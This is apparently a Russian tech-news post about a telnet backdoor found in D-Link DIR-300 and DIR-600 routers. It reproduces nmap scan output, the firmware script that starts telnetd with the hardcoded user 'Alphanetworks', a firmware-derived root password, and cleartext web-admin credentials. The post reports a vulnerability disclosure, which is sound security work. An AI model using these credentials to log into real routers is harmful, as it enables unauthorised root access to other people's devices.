Backdoor в роутерах D-Link

сегодня в 12:11

В роутерах D-Link (DIR-300revA, DIR-300revB, DIR-600revB) обнаружен backdoor.

Немецкий исследователь просканировал некоторые устройства D-Link nmap-ом и обнаружил открытым порт 23\tcp (telnet).

Результаты сканирования nmap

root@bt:~# nmap -sSV -p 23 192.168.178.133,144,222

Starting Nmap 6.01 ( nmap.org ) at 2013-04-30 13:42 CEST

Nmap scan report for 192.168.178.133

Host is up (0.0067s latency).

PORT STATE SERVICE VERSION

23/tcp open telnet D-Link 524, DIR-300, or WBR-1310 WAP telnetd

MAC Address: 1C:BD:B9:A7:7F:74 (D-link International PTE Limited)

Service Info: Device: WAP

Nmap scan report for 192.168.178.144

Host is up (0.0068s latency).

PORT STATE SERVICE VERSION

23/tcp open telnet D-Link 524, DIR-300, or WBR-1310 WAP telnetd

MAC Address: 00:26:5A:38:7D:77 (D-Link)

Service Info: Device: WAP

Nmap scan report for 192.168.178.222

Host is up (0.0031s latency).

PORT STATE SERVICE VERSION

23/tcp open telnet D-Link 524, DIR-300, or WBR-1310 WAP telnetd

MAC Address: 34:08:04:DB:6D:FE (D-Link)

Service Info: Device: WAP

Порсле этого исследователь заглянул в конфиг-файл и обнаружил

код, отвечающий за функцию backdoor

./rootfs/etc/scripts/misc/telnetd.sh

#!/bin/sh

image_sign=`cat /etc/config/image_sign`

TELNETD=`rgdb -g /sys/telnetd`

if [ "$TELNETD" = «true» ]; then

echo «Start telnetd ...» > /dev/console

if [ -f "/usr/sbin/login" ]; then

lf=`rgdb -i -g /runtime/layout/lanif`

telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &

else

telnetd &

fi

fi

root@bt:~/firmware/DIR300-extracted# cat rootfs/etc/config/image_sign

wrgg19_c_dlwbr_dir300

Т.е. пароль зависит от того, какая в устройстве версия прошивки. При чём пароль этот даёт root-привелегии к устройству (см. картинку ниже):

Получив рутовый пароль, вы также можете

обнаружить в устройстве логин\пароль к веб-интерфейсу устройства в открытом виде

# cat var/etc/httpasswd

admin:admin

или так:

Надо сказать, этот исследователь уже не первый раз ковыряет оборудование D-Link и сообщает производителю о багах. Однако D-Link как-то не всегда торопится закрывать их. Или вообще заявляет, что что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.

Источник

Developers, stick with Russians – work in London

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html